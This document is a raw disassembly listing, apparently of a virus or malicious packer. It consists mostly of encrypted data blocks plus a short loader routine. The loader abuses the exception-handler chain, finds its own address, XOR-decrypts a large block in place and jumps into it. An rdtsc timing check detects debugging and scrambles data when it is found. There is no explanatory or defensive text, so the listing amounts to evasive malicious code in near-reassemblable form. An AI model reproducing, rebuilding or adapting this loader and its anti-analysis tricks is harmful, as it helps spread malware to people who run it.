		dd 2FFFC57Bh, 9748B223h, 885DA31h, 6F35FEC8h, 0D3FAB09Fh
		dd 40F07BD3h, 76C035E2h, 7B6AF016h, 88685A47h, 13BAF00Ah
		dd 4130A895h, 6F341EC8h, 0D001889Fh, 0C2C470A0h, 0B051BD94h
		dd 662B3ADEh, 0D0B8358Bh, 0BBC070A0h, 0DD430F02h, 0A6F840B5h
		dd 27D71B60h, 95B7B37Ah, 50B68845h, 98C0F020h, 11C0A56Fh
		dd 95B67B40h, 50B68843h, 0F6C68521h, 3B25B96Dh,	0B3C586B3h
		dd 528086D8h, 9DA6F655h, 0D4EB1551h, 35417DC6h,	0EC681B86h
		dd 1B3F0FDFh, 45890423h, 10764F6Ch, 0D577734Bh,	90F6C885h
		dd 0D8003060h, 1480E5AFh, 0CC681A5Ch, 193F0FDFh, 0E63FE0F5h
		dd 0B3C586A0h, 518086D8h, 0A1CFF455h, 102B328Bh, 95B7B30Bh
		dd 50B68845h, 98C0F020h, 558A1714h, 1076483Fh, 368B5021h
		dd 0F6857B2Dh, 7AF880CBh, 28DFF52Ah, 0B041B0D6h, 0F4A7F53Bh
		dd 0E3AB36E9h, 0FBEB1660h, 0DFE408F2h, 1A6BF025h, 0E638AFE5h
		dd 0D11874A0h, 932BA800h, 0B02B0C90h, 0D0EB8806h, 9ABDBC6h
		dd 0B8D8B48Ah, 6F3F03DFh, 11D234EDh, 15267840h,	0FBE67069h
		dd 70F3CBh, 88025ACAh, 0EFB39648h, 2452341Fh, 0C8C89A12h
		dd 2FF3EA88h, 628A8E5Fh, 0AE45C423h, 6E0984EAh,	2EDB44AAh
		dd 0EE4C046Ah, 0AE8CC42Ah, 20CC84EAh, 60CDDB99h, 0A0899B5Dh
		dd 0E0455B15h, 53011BD8h, 0E8B08DEDh, 95B77096h, 50B68845h
		dd 10C0F020h, 0B0B03314h, 0B5C5870Ah, 508086D8h, 0E4C8F020h
		dd 5B558867h, 5FEB704Ch, 68253517h, 90C3F016h, 540F3160h
		dd 10407077h, 0FB2A5850h, 0AF7C4DA9h, 38B03056h, 0ADC9DB0Ah
		dd 50B68F20h, 0A86575D7h, 0D0033056h, 53470A0h,	68253517h
		dd 90C0F016h, 0D5743160h, 0EFBEB148h, 0FA69001Fh, 2C457B8Bh
		dd 5B00065Fh, 99885B6Fh, 66BF745Dh, 6C887920h, 2F6457D8h
		dd 0D073DB96h, 0D5771B86h, 90F6C885h, 0D0003063h, 95B67ED4h
		dd 50B68843h, 78C584A0h, 2FFFCE22h, 99241718h, 90B31BC6h
		dd 15375B46h, 0D03608C5h, 104070A3h, 0D576E594h, 90F6C883h
		dd 380545E0h, 0EFBF8EBEh, 0AF7D1408h, 78E040DFh, 2FFFCBD6h
		dd 0A8264943h, 0FBE6A51Fh, 54B5BB1h, 0D03608C5h, 0D2B7A257h
		dd 5080B0E3h, 0EE28E455h, 60FFCF9Dh, 0EBD098BFh, 0E8E64F1Fh
		dd 3BA6E5DFh, 1F8B9BF1h, 2F84F52Bh, 98ABB0D6h, 673CB8A9h
		dd 0E63895E5h, 104073A0h, 0A7AEC4E0h, 0A6F855A5h, 0D0003060h
		dd 0E76204A6h, 66B81565h, 90C0F020h, 38054561h,	0EFBF8D52h
		dd 68253517h, 90C0F016h, 0D5743460h, 0EFBE7D48h, 0F505471Fh
		dd 94C0C618h, 0A4003060h, 0EE2798B7h, 79384F1Fh, 3B080EE0h
		dd 0A4C038D8h, 65F8DBA4h, 0FBE75B18h, 0A86575D7h, 0D0083056h
		dd 5F3570A0h, 68230D60h, 0E4C0F016h, 2E3BD826h,	39F88F5Fh
		dd 5A4999F8h, 0A6F86F85h, 0D3E4F060h, 28DFD5AAh, 0E02BB0D6h
		dd 154A5A91h, 0D03608C3h, 1A00C00Ah, 66B82F65h,	28A65A20h
		dd 55F7CD82h, 10764805h, 5080B0F0h, 0D970F754h,	0A5B856CAh
		dd 0A0EB165Ch, 90B31A08h, 387D798Bh, 2700065Fh,	2678D525h
		dd 508090E0h, 20C98520h, 4D853A38h, 0BA404698h,	90010886h
		dd 0A86575D7h, 0D0403056h, 133470A0h, 5AA87460h, 0A6F86D85h
		dd 59AB5660h, 267FDC1Dh, 0D5771BE0h, 90F6C885h,	90003060h
		dd 40F079D5h, 681D35E2h, 676AF016h, 0E63895E5h,	1040F0A0h
		dd 0E08BC5E0h, 0E45FA98h, 7A000658h, 0A8264D4Bh, 0D577A8D1h
		dd 90F6C885h, 0D0003160h
		dd 39F072D4h, 681E15EAh, 7400F016h, 4EA53A63h, 76404698h
		dd 0D138D64Bh, 354507D0h, 0D0000658h, 654070A2h, 5A4804E2h
		dd 0A6F86E85h, 59AB5660h, 267FB81Dh, 783008E0h,	676BF020h
		dd 0E63895E5h, 104078A0h, 0B8F1C4E0h, 6F3F0D11h, 0E8A5B597h
		dd 14407096h, 5BF5B0E0h, 15CA4890h, 0D03608FFh,	0E70D9B0Ah
		dd 66B81565h, 90C8F020h, 0B6114560h, 1AA0F318h,	66B82F45h
		dd 0A36B9620h, 0C5EB9AA0h, 869C8C6h, 681F15EAh,	7400F016h
		dd 4FA53A63h, 76404698h, 0F505474Bh, 90C0C618h,	0B6003070h
		dd 6480F118h, 584430E3h, 0A85F552Ah, 7B663056h,	0B3C5C6AFh
		dd 0FB8086D8h, 6F3C30C8h, 7585C79Fh, 10404698h,	24C0B0E0h
		dd 92904029h, 0E638ADE5h, 95B7DAA0h, 50B68845h,	90C0D020h
		dd 0D275B6D0h, 5FCD74A4h, 0CD253A1Eh, 19C0C618h, 0E63F80EDh
		dd 90EB16A0h, 57F5B51Ch, 0DF40F090h, 38AA709Fh,	0EFBF8CD9h
		dd 68253517h, 0D0C0F016h, 68663060h, 123541C6h,	0FBE69954h
		dd 15CAE890h, 0D03608FFh, 0BA439060h, 0AF7CE408h, 674840DFh
		dd 0E63895E5h, 10C070A0h, 0E082C5E0h, 0D657AA6h, 0B6000658h
		dd 15BCF00Bh, 5030B795h, 0D03FBFA0h, 2C2BD8CAh,	95B78F5Fh
		dd 50B68845h, 90C1F020h, 90B03B15h, 28DDF5AAh, 0BB2AB0D6h
		dd 1378962Fh, 4DA53AA0h, 76404698h, 0FA81004Bh,	0A86575D7h
		dd 0D0003056h, 3F3570A2h, 68253517h, 90C0F016h,	0CA753064h
		dd 954AB010h, 50B6887Fh, 0A86455AAh, 30C13056h,	76F816B0h
		dd 50301B61h, 0D070F8CBh, 0E89FB56Ah, 0E7EA7096h, 66B81565h
		dd 98C0F020h, 0B6104560h, 1AA8F318h, 66B82E45h,	206B9620h
		dd 6008DB61h, 8EC57AE8h, 0FA8086D8h, 0A86575D7h, 0D0003056h
		dd 65F170B0h, 0E8E69595h, 35CA08A3h, 0D03608FEh, 0D073DBC6h
		dd 0E03D994Ah, 67C0C61Fh, 0E63895E5h, 304070A0h, 0E19FC5E0h
		dd 0F6DB1B57h, 0DA1839D8h, 2678EE05h, 536470E0h, 0A85E552Ah
		dd 7B663056h, 2FF0CD89h, 910AB0D6h, 0AF7055AAh,	7B663056h
		dd 95422810h, 50B6887Dh, 3545078Ah, 0D3000658h,	644170A0h
		dd 0F50547C2h, 90C0C618h, 0A5043060h, 0B5C587B6h, 508086D8h
		dd 0E5C3F020h, 2A84D865h, 0BBA88F5Fh, 0A77F4F1Ah, 0A6F855A5h
		dd 0D0003060h, 0A04304A8h, 0D5771A29h, 90F6C885h, 50003060h
		dd 17F050D4h, 681D35CAh, 7001F016h, 0D8893D7Ah,	0B5427084h
		dd 50B6887Dh, 10C314E0h, 60AB34A4h, 0A826DAC1h,	0F58A501Fh
		dd 90F6C8BDh, 55F79B06h, 10764805h, 5080B0C0h, 1537A354h
		dd 0D03608C5h, 304070A0h, 9777BD94h, 90C0F023h,	40B03514h
		dd 9BB39B0Ah, 0F80D3B27h, 0BBC0C61Fh, 2C41B9A1h, 954A2810h
		dd 50B6887Dh, 3545078Ah, 0D0000658h, 644030A0h,	38D6ECh
		dd 0D45FAE3h, 3B000658h, 0EFF816AAh, 0CD25BA00h, 0F6C0C618h
		dd 7585C7CBh, 13404698h, 2481B0E0h, 35450753h, 0D0000658h
		dd 646070A0h, 534747EDh, 0E4C0F020h, 7A908065h,	0DFCB834Bh
		dd 6F40356Bh, 58EBF016h, 0E3FC78E9h, 0B5C58769h, 508086D8h
		dd 0E5C07020h, 4D85BD6Eh, 9A404698h, 0A900F0E8h, 1D388323h
		dd 0F444FD64h, 0F08170B0h, 0FB0B00E8h, 28A6F6C3h, 7B66F051h
		dd 90CFC8C6h, 50800888h, 0F621F220h, 55AB68CBh,	76460569h
		dd 36408158h, 3A03408Bh, 0E8B0B5EDh, 95B77096h,	50B68845h
		dd 80C0F020h, 0FB573615h, 9AB2858h, 7BA8E36Bh, 1B10DBD8h
		dd 0E63FF8EDh, 0B8D571A0h, 518086DFh, 0B4847B19h, 0B7BDB964h
		dd 9B4046B0h, 66BF1C5Dh, 3845DB20h, 2700065Fh, 2678D525h
		dd 5080F0E0h, 67C28420h, 0D4C29BB8h, 931726A0h,	66BF505Dh
		dd 14CFF020h, 0D00031B9h, 10407D48h, 2C5FBE0h, 0A38CB56Eh
		dd 9C441E52h, 85BF70ECh, 50B68B72h, 0AF3475A9h,	5B533056h
		dd 0C8434CF8h, 0DBA8C31Fh, 7028C463h, 5BFFCF95h, 267FA435h
		dd 1283EBE0h, 6845792Ch, 0D300065Fh, 95C978E2h,	50B68F1Ch
		dd 6FE883ABh, 0D000B0D3h, 0E5F998A0h, 0ED0B4F1Fh, 90F6CFF4h
		dd 25ADD836h, 85CB8F5Fh, 50B68F34h, 93C8BAABh, 1E2B3C2Ah
		dd 1F459923h, 5081D068h, 0CA44FF20h, 0D3003061h, 267FA815h
		dd 0C835B3E0h, 3CC0C61Fh, 550FD85Ch, 10407002h,	7B84F66Dh
		dd 0A6FF68A5h, 80063360h, 0EFB51A48h, 843D331Fh, 90C0C61Fh
		dd 973B3B15h, 0BC37FACh, 0BB80B0E1h, 4455C92Ch,	0DF00065Fh
		dd 10417D25h, 0C805B3E0h, 0F6C0C61Fh, 0F5FF08E1h, 10BCF5AFh
		dd 100BB0E0h, 0A483DB22h, 252DD830h, 0AD798F5Fh, 50B68F34h
		dd 9024752Fh, 55033060h, 10764F78h, 6F1835E3h, 904BF016h
		dd 0DF0C774Bh, 1040BD22h, 58C78BE0h, 9004732Fh,	10833060h
		dd 40773A2h, 6F1835E3h,	0C092F016h, 0EFF4859Fh,	85BF7096h
		dd 50B68BB2h, 9F00757Ah, 0D00087E5h, 10DC99A0h,	0AFBCB0E0h
		dd 9054752Fh, 0EE803060h, 9BC57FB5h, 0DB80B0E0h, 0D3EBF166h
		dd 6CE86054h, 29BF8F54h, 66BF645Dh, 93B78520h, 0E63FE8E5h
		dd 88C573A0h, 0D98086DFh, 0A680F0A5h, 0EB00BB60h, 267F8825h
		dd 6B88C2E0h, 0A6FF0CA5h, 0ED694260h, 604070A0h, 4F688792h
		dd 1DC0F020h, 118BCC2Eh, 5243728Bh, 50058BF0h, 0E5C0C660h
		dd 0C0C4B36Ch, 54CF415Fh, 0BBE1ACC4h, 154F333Bh, 0D0360FD8h
		dd 88F5FBC0h, 0B88086DFh, 6F3F057Ah, 0D0009901h, 1E35F0A0h
		dd 228CF7CBh, 9887CB29h, 2F3CB26Fh, 1F098F5Fh, 0AF7E0265h
		dd 0B4FC7BDFh, 0F8A597E1h, 0EFBF70A0h, 126BCF1Fh, 0F0E4BAA1h
		dd 9EE03060h, 1CCBB093h, 0B00537C4h, 19C0C61Fh,	0E63FECE5h
		dd 0B9F9FDA0h, 5380B0C8h, 0A6FF68A5h, 75A55660h, 13865BEEh
		dd 12ABA4A2h, 6B86362Ch, 8281F788h, 154070A0h, 0D980B0E0h
		dd 0CE9F0C66h, 45FF67A3h, 10764B3Eh, 5F9F5821h,	90C1EAA5h
		dd 0BA546060h, 0EFBF1A88h, 66BB4E75h, 0CF007520h, 0D105B86Fh
		dd 50A870A0h, 0B87F4F05h, 90C0F031h, 96745533h,	43251CC9h
		dd 22F5D385h, 0D1B98449h, 0BCB5CF60h, 0EF40469Fh, 66BBE275h
		dd 0E4457920h, 3800065Fh, 104070B9h, 31D4D5B3h,	0E78F954Bh
		dd 0A372550Eh, 403019C8h, 39F6D992h, 0F5A7954Ch, 0C1E86760h
		dd 0F8BF8F49h, 5080B0F3h, 0F5929573h, 0A26F4413h, 793220C5h
		dd 35ECD996h, 0C7C09547h, 2FE8C388h, 1052985Fh,	35D3B0E0h
		dd 0FBA39162h, 0A2504015h, 7C2906C9h, 50E5D785h, 78161877h
		dd 0C8E8CF9Fh, 434070A0h, 31E8F385h, 0DEA5974Eh, 0B669440Fh
		dd 793220D9h, 35ECD996h, 0C7C09547h, 2FE88388h,	9D14205Fh
		dd 66BA0065h, 0C0A49A20h, 2F57310Ah, 267C7A35h,	74BC39E0h
		dd 0AB8665DFh, 102A3056h, 2E28CD2Dh, 0D0B0D6h, 20750F70h
		dd 0B800065Ah, 104470A1h, 781DAB4h, 0AFB465DFh,	0BA543056h
		dd 85BF27A4h, 50B68F94h, 6FD434A3h, 0E63F5CD5h,	92D58FA0h
		dd 0F8086DBh, 0F8757DE3h, 8600065Eh, 2BC6E55Fh,	0A803B0D6h
		dd 2B44FFDFh, 59003060h, 267F0825h, 680DAE0h, 0AB0265DFh
		dd 10853056h, 10E4F4AFh, 90ABB0E0h, 93AAA070h, 0B8015A30h
		dd 0D04070A0h, 32154FB6h, 13C0C61Bh, 540FCF98h,	10407548h
		dd 6FFC3569h, 1D4DF016h, 0D0360FE0h, 2FC8E52Dh,	2D1B0D6h
		dd 6F90F04Ah, 0E63BBEF5h, 0EFB8F3A0h, 553634EFh, 90AAF020h
		dd 0EF7C859Fh, 85BF7096h, 50B68B6Ah, 9F3F08A3h,	0D005AFE4h
		dd 80C5F9A0h, 638086DFh, 0C103F3E9h, 0D46A6130h, 6CF58FF1h
		dd 0AF8086DFh, 0A6FB96B5h, 0DFC0B560h, 10450B24h, 0D94983E0h
		dd 0A6FF64A5h, 81516160h
		dd 1F406FC8h, 0C57FE0E0h, 90F6CB8Eh, 540FF0E5h,	10407594h
		dd 6F183569h, 2803F016h, 0D0004068h, 0E7783B2Bh, 66B81565h
		dd 90C0F020h, 0D3064570h, 26501725h, 535283E0h,	673107E1h
		dd 7485B981h, 0A840469Fh, 5080984Fh, 93FCBBABh,	0E61057E5h
		dd 139243A0h, 0A7714721h, 0C4579C1h, 1300065Fh,	160BC7AFh
		dd 0DDB55319h, 27CFE873h, 32423h, 38811BE9h, 6A0160E3h
		dd 0FEA9877Fh, 531D4499h, 62417CDAh, 6CCB3B00h,	93D4B2ABh
		dd 948D2022h, 0C9B78FE8h, 0D5BB71C3h, 90F6CFB0h, 0F454BBA3h
		dd 9F8043B0h, 50800862h, 5F4B3320h, 6D8D3B8Bh, 10764EC8h
		dd 635F3B1Ch, 0F1FC5CE9h, 0AA3C3612h, 306C72D7h, 24DC8C4Ah
		dd 0E4EECCCCh, 0A5000CBDh, 9B899348h, 8C58DE1h,	9BB4F065h
		dd 8243635Dh, 23C57FA0h, 0DB7F4F1Fh, 0D997CD23h, 540F732Eh
		dd 0EFBF8F86h, 5C3E7DDh, 8B44FF6Eh, 0EDFFCF9Fh,	227333F7h
		dd 0AF9034EFh, 0C0FD0FDFh, 0DF4F6433h, 0EFBF7524h, 0B85B831Fh
		dd 6F3F0E0Dh, 2AE82015h, 0F8BF8F5Ch, 0AF7F4EC1h, 6E2C742Fh
		dd 233CF9Fh, 10406648h,	0AFE358E0h, 90280FDFh, 8D003060h
		dd 23139D21h, 8B69B0D6h, 0F4C0F023h, 658B029Fh,	10764F38h
		dd 36A23984h, 0CA8DCEA1h, 0D3C4B56Fh, 4ECB70A0h, 365EB3DCh
		dd 0D590CBA1h, 0D3B4B56Fh, 53B770A0h, 50A0B0F6h, 3745FF20h
		dd 26003063h, 1F422CE3h, 50832D64h, 98837B20h, 70A0905Dh
		dd 9FC47F00h, 6D80B0E3h, 0B0E0D000h, 0D384B46Fh, 0A9A870A0h
		dd 5F7F4F1Eh, 90C389A2h, 0CA5B360h, 1040469Fh, 0DB88F26Bh
		dd 51EBE06Ah, 10333413h, 0D843754Bh, 0D990FA69h, 0A6FF50A5h
		dd 0DC4A3360h, 11407018h, 0C068E1E0h, 0A03F0FC7h, 0E63893F5h
		dd 2060C1A0h, 66B81455h, 6EE09A20h, 0C47868A9h,	0EFA70648h
		dd 5F52351Fh, 721332B4h, 0E8A5A551h, 0F5AB7096h, 68253517h
		dd 90C0F016h, 0F2743160h, 28E5F557h, 5083B0D6h,	9CB5F020h
		dd 0E8A595E1h, 0EFBF7096h, 5A6B4B1Fh, 0A8657DA1h, 0D0003056h
		dd 162878A0h, 980B0E0h,	90C0F648h, 0F8E86860h, 9ABF8F47h
		dd 66B82D65h, 0BA447620h, 0D03608FDh, 28DDF528h, 0B062B0D6h
		dd 0A86575D7h, 0D0083056h, 193570A0h, 681F0D60h, 0E4C1F016h
		dd 7585C7A5h, 10404698h, 2488B0E0h, 0D7D703Bh, 0D5000658h
		dd 0ADC0C0D4h, 50B6887Eh, 10678425h, 0E638AFDDh, 8E3475A0h
		dd 68253517h, 90C0F016h, 0D974B060h, 28DDCD20h,	2782B0D6h
		dd 706573A9h, 0D000065Fh, 0EFB37748h, 0ADE1581Fh, 0E0280FDFh
		dd 5B003062h, 267FEC3Dh, 0F01DB3E0h, 78C0C61Fh,	2FFFCC19h
		dd 1210F4AFh, 0E50BB0E0h, 90F6CFB8h, 0D33C6EEBh, 0ED3A987Eh
		dd 0D28F4F1Fh, 90C0F21Ah, 0B0247AE1h, 9BA070A0h, 53D6E21Eh
		dd 0EAC3E45Ah, 7585C770h, 10404698h, 2590B0E0h,	747D7934h
		dd 5D00065Fh, 2678C015h, 370D3BE0h, 63C0C630h, 0FCB967C4h
		dd 9D4070AAh, 6690B055h, 21650320h, 2302D360h, 0B5C58704h
		dd 508086D8h, 9FD0F020h, 0D0009EE4h, 38338FA0h,	0AF6E0608h
		dd 44557BDFh, 5500065Fh, 88C47F72h, 0DB80B0E0h,	0A6FF6895h
		dd 0C04ABB60h, 70643A21h, 7B60B0E0h, 92B3F86Ah,	0A203F953h
		dd 77CD4BB4h, 0DB8086F0h, 0A6D097ADh, 5B564260h, 0B5C3549Ch
		dd 50B6A087h, 0F7677320h, 0D0003060h, 11480A2Bh, 0A783B8AAh
		dd 154B07A7h, 0D0360FCCh, 28E5F557h, 50C0B0D6h,	92B4F020h
		dd 0A2032897h, 997059ACh, 66BF5055h, 0B8B37B20h, 55F70061h
		dd 10764805h, 5080B0A0h, 8837F254h, 2C49D831h, 0FB198F5Fh
		dd 78F3B3ECh, 0C1CC820Bh, 8FA4C336h, 0A0F5FDF9h, 0D98086D8h
		dd 0A6FF149Dh, 8FA4C360h, 82717FFEh, 5053376Dh,	5FAF020h
		dd 0D03608C3h, 0C22976D5h, 42B4E698h, 7830A0A8h, 2FFFEAC0h
		dd 1C0AFBFAh, 0A790FAE3h, 0A6F855A5h, 0D0003060h, 1501FDB0h
		dd 0DD09A395h, 90F6CFC0h, 0C067B563h, 0B7C37096h, 5080B087h
		dd 0B883DB20h, 0D052B7E9h, 95B770A0h, 50B68C80h, 90C0F021h
		dd 93C73714h, 0B0E0D0A8h, 0F5054740h, 90C0C618h, 0A4803060h
		dd 6AA822A7h, 0A7F4F17h, 0AF207DABh, 0D5E33056h, 0FB683B29h
		dd 8C0D3BEDh, 73C0C61Fh, 5B03DB62h, 95B758EBh, 50B68845h
		dd 90C0F023h, 558B2414h, 10764F44h, 6F503DE3h, 15C3F016h
		dd 0D0360FACh, 5ACB78A1h, 0CC053BF0h, 0A9C0C61Fh, 0D373382Ah
		dd 11483A29h, 3303A0A2h, 154BF078h, 0D0360FC4h,	1068C0C8h
		dd 58C2B1E0h, 0C083F179h, 0E8A3A5EAh, 95B77096h, 50B68845h
		dd 80C0F020h, 5D033614h, 107660C7h, 0D577B056h,	90F6C885h
		dd 0D0023060h, 0D6BE64D5h, 68253517h, 90C0F016h, 0D6753064h
		dd 28E4C52Ah, 0D577B0D6h, 90F6C885h, 0D0007060h, 17CA7BD5h
		dd 522A72E2h, 7B3712F6h, 0E207BA69h, 0C642DA62h, 82B34702h
		dd 0F4E27B44h, 535832EFh, 267F0C1Dh, 0D48FB0E0h, 6F3F0AFEh
		dd 0EF98859Fh, 85BF7096h, 50B68B32h, 0AF5445DFh, 45FF3056h
		dd 10764BE6h, 6F003D6Dh, 54DF016h, 0D0360FE8h, 102A22F1h
		dd 6FFC051Fh, 53FF016h,	0D0360BA6h, 2F3CC55Fh, 0C57FB0D6h
		dd 90F6CB66h, 0EE6885EDh, 0A5BF7096h, 50B68F98h, 52550F76h
		dd 5300065Bh, 267F0C05h, 0B843B0E0h, 90C0F020h,	51015A3Dh
		dd 2677C04Dh, 5F70E8E0h, 85B475E1h, 10853056h, 0EF88F363h
		dd 0D541BF10h, 90F6E554h, 0D0100DA3h, 0C35708Ah, 74FC3186h
		dd 0E5B19C2Ch, 14E85073h, 65BF8F5Fh, 0AA5458E5h, 42280FDFh
		dd 0B1FFCF9Fh, 686D8F8Eh, 0E89284B6h, 90C0F005h, 2FA5D800h
		dd 29358F5Fh, 60A4F46Bh, 0AEA845ADh, 808B3056h,	2AC116A8h
		dd 75F3B2E6h, 90C09876h, 148B309Fh, 401270CAh, 6C92251Fh
		dd 5443F016h, 8C3EB168h, 651C4F9Fh, 544633E3h, 6F3A71C8h
		dd 2F7FD89Fh, 0D3218F5Fh, 5080C458h, 28711B20h,	0D000304Fh
		dd 10406D48h, 50A072E0h, 90C0C098h, 0D010D860h,	348270A0h
		dd 510508E0h, 9328F020h, 12003060h, 44CD708Ch, 7E4DBCC4h
		dd 0ECC008A3h, 0D0E85079h, 9B4070A0h, 0DB094B4h, 7D41EAABh
		dd 0D03608E7h, 0EFA1CA48h, 5442D11Fh, 93C7F220h, 4F013665h
		dd 0DEF544EAh, 9415FF4Bh, 90010011h, 1CEh dup(0)
		dd 7C816FD7h, 13E7h dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		pusha
		push	ebp
		mov	ebp, esp
		call	sub_3143200E
		call	sub_31432063
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_3143200E	proc near		; CODE XREF: start+4p

var_4		= dword	ptr -4
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 3143208E SIZE 000000A2 BYTES
; FUNCTION CHUNK AT 31432143 SIZE 00000006 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		cld
		sub	eax, eax


loc_3143201D:				; CODE XREF: sub_3143200E+15j
		dec	al
		or	al, al
		jz	short loc_31432027
		jnz	short loc_3143201D
		jmp	short loc_3143208E
; ---------------------------------------------------------------------------


loc_31432027:				; CODE XREF: sub_3143200E+13j
		sub	ebx, ebx
		sub	ecx, ecx
		mov	cl, 75h


loc_3143202D:				; CODE XREF: sub_3143200E+20j
		inc	ebx
		loop	loc_3143202D
		call	$+5
		pop	edx
		sub	edx, 0FFFFFFC5h
		mov	ecx, 28B0h
		stc
		cld
		push	edx


loc_31432044:				; CODE XREF: sub_3143200E+41j
		xchg	al, [edx]
		xor	ax, bx
		mov	[edx], al
		inc	edx
		dec	ecx
		or	ecx, ecx
		jnz	short loc_31432044
		pop	edx
		mov	ebx, [ebp-8]
		mov	fs:0, ebx
		leave
		mov	[esp+arg_10], edx
		popa
		jmp	edx
sub_3143200E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_31432063	proc near		; CODE XREF: start+9p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_31432063	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0E8h, 24048B00h, 0E39889FCh,	0F700002Fh, 28A080h, 0
		dd 245C8B80h
; ---------------------------------------------------------------------------
		add	al, 74h
; START	OF FUNCTION CHUNK FOR sub_3143200E


loc_3143208E:				; CODE XREF: sub_3143200E+17j
		sub	al, 59h
		mov	[eax+2FE7h], esi
		mov	[eax+2FEBh], edi
		cmp	byte ptr [eax+28A4h], 0E8h
		jnz	short loc_314320B2
		add	ebx, [eax+28A5h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_314320BA
; ---------------------------------------------------------------------------


loc_314320B2:				; CODE XREF: sub_3143200E+95j
		mov	ebx, [eax+28A6h]
		push	dword ptr [ebx]


loc_314320BA:				; CODE XREF: sub_3143200E+A2j
		pop	ebx
		push	ebp
		mov	ebp, eax
		sub	[esp+8+var_4], 8075h
		sub	ebp, 361005h
		mov	edi, [esp+8+var_4]
		lea	esi, [ebp+3638B0h]
		mov	ecx, 0
		rep movsb
		call	sub_31432130
		mov	ecx, eax
		call	sub_31432130
		sub	eax, ecx
		jz	short loc_31432104
		cmp	eax, 100h
		ja	short loc_31432104
		lea	eax, [ebp+3610D3h]
		mov	dl, [eax-10h]
		call	sub_31432134
		jmp	short loc_31432143
; ---------------------------------------------------------------------------


loc_31432104:				; CODE XREF: sub_3143200E+DDj
					; sub_3143200E+E4j
		test	dword ptr [ebp+3638A5h], 80000000h
		jz	short loc_3143212E
		lea	esi, [ebp+3638A9h]
		mov	edi, [esp+8+var_4]
		movsb
		movsd
		mov	esi, [ebp+363FECh]
		mov	edi, [ebp+363FF0h]
		mov	ebx, [ebp+363FE8h]


loc_3143212E:				; CODE XREF: sub_3143200E+100j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_3143200E

; =============== S U B	R O U T	I N E =======================================



sub_31432130	proc near		; CODE XREF: sub_3143200E+CFp
					; sub_3143200E+D6p
		rdtsc
		retn
sub_31432130	endp

; ---------------------------------------------------------------------------
		db 8

; =============== S U B	R O U T	I N E =======================================



sub_31432134	proc near		; CODE XREF: sub_3143200E+EFp
		mov	dh, dl
		mov	ecx, 27D2h


loc_3143213B:				; CODE XREF: sub_31432134+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_3143213B
		retn
sub_31432134	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_3143200E


loc_31432143:				; CODE XREF: sub_3143200E+F4j
		mov	ebx, esi
		sbb	al, dl
		xlat
		iret
; END OF FUNCTION CHUNK	FOR sub_3143200E
; ---------------------------------------------------------------------------
		db 0B9h, 3Bh, 6
		dd 1B093004h, 63017004h, 0A8A09990h, 0B4B57C5h,	8EDC9BD3h
		dd 4D50C071h, 78ABF465h, 0C3933B48h, 22EB7822h,	0D9737B68h
		dd 0CE639B3Dh, 0BCC2C031h, 69E9AD80h, 6B6FFD88h, 2D547C51h
		dd 1519D2D2h, 4C6C7193h, 0D1A40AFBh, 1FAF6B93h,	0B24BF6B4h
		dd 631BDBCCh, 0FB037FC4h, 282014F8h, 272C7B30h,	9283D23h
		dd 0EDEC1C1Eh, 7E5FCB90h, 0F3863D39h, 0E508D8E6h, 4B00F8F0h
		dd 5C417D62h, 2D367D55h, 68212C3Eh, 1568723h, 9E9BD215h
		dd 0C8CD50B0h, 8DA7D8D0h, 7B61B484h, 5A525D64h,	1B404A5Fh
		dd 0EDE98EAFh, 88B6433Eh, 0A8A35B78h, 0C7003DB0h, 171FDB54h
		dd 9DFFA80Fh, 2816235Eh, 0CD4FF8B5h, 68605BD1h,	9DACC5F0h
		dd 0DDA198A6h, 207547A4h, 16E0EEEFh, 3E15D47Dh,	0ACA59710h
		dd 0A3400E25h, 0ECC5DB57h, 88804E65h, 0BDD43D13h, 4BC0B886h
		dd 0DEF5A075h, 0AD83F8F0h, 28160D6Ch, 0CD866F30h, 68564A81h
		dd 0DA35F171h, 25A0AEABh, 0FED54805h, 6529EBD0h, 3E3BA64Dh
		dd 0C000A910h, 48403BBCh, 0F6F5A70Fh, 49804E4Bh, 2CAF8778h
		dd 0C8C0B864h, 82F49F5Bh, 60C3FBB0h, 20200810h,	7316BDB9h
		dd 61085866h, 0E2807800h, 7E356790h, 4DC08E8Bh,	664D710h
		dd 9F00F8F2h, 3820AD9Dh, 0A7CB3806h, 686C5BE9h,	886DF970h
		dd 25A0AE80h, 0FED2E925h, 17452BD0h, 28EC7B12h,	204AE49Bh
		dd 0C519F803h, 5E7B61C5h, 32B8B70h, 0B8F7116Ch,	9FDCFF4Eh
		dd 0E9E0DBB8h, 5E9507F0h, 0AB202E2Bh, 88C518F4h, 6AFFDC5Fh
		dd 0E2177870h, 0C0A1F290h, 48C0BCB0h, 0E9E0D8B8h, 5E9507F0h
		dd 0AD202E2Bh, 0CAC437F0h, 2605852h, 88E82870h,	0C2A09C90h
		dd 0C42879B0h, 0B8E1B287h, 900F998h, 7EB5E710h,	20400E0Bh
		dd 6861585Ah, 0B3D6ED8Fh, 0AD4898A6h, 21C0B8B0h, 0E8E0DA81h
		dd 0EB59F89Ah, 0D72A721Ah, 7E7BF2A5h, 0AB91B350h, 0B3F6C5F3h
		dd 0A7A098A6h, 0C8C28C34h, 0E8E630D0h, 5C4EF8F0h, 286C5454h
		dd 73D2ADCFh, 0DDED5866h, 88B66FBAh, 152D51A3h,	0C8F6836Eh
		dd 73D661h, 800FA84h, 1432A593h, 47403806h, 686258D4h
		dd 6A05F370h, 57A0AEABh, 4D4FB9C0h, 0E8D6EF2Ch,	33FA7D7Bh
		dd 58DF1826h, 1C5B731h,	0E3606E68h, 0BEBB9EF5h,	0A9D06790h
		dd 0F0903D3Fh, 656BD8E6h, 836C31Ah, 59DF02F3h, 15C5B731h
		dd 0E3606E68h, 0BEBB8AFDh, 57A97B90h, 4D4FB9C1h, 0E8D6E0BAh
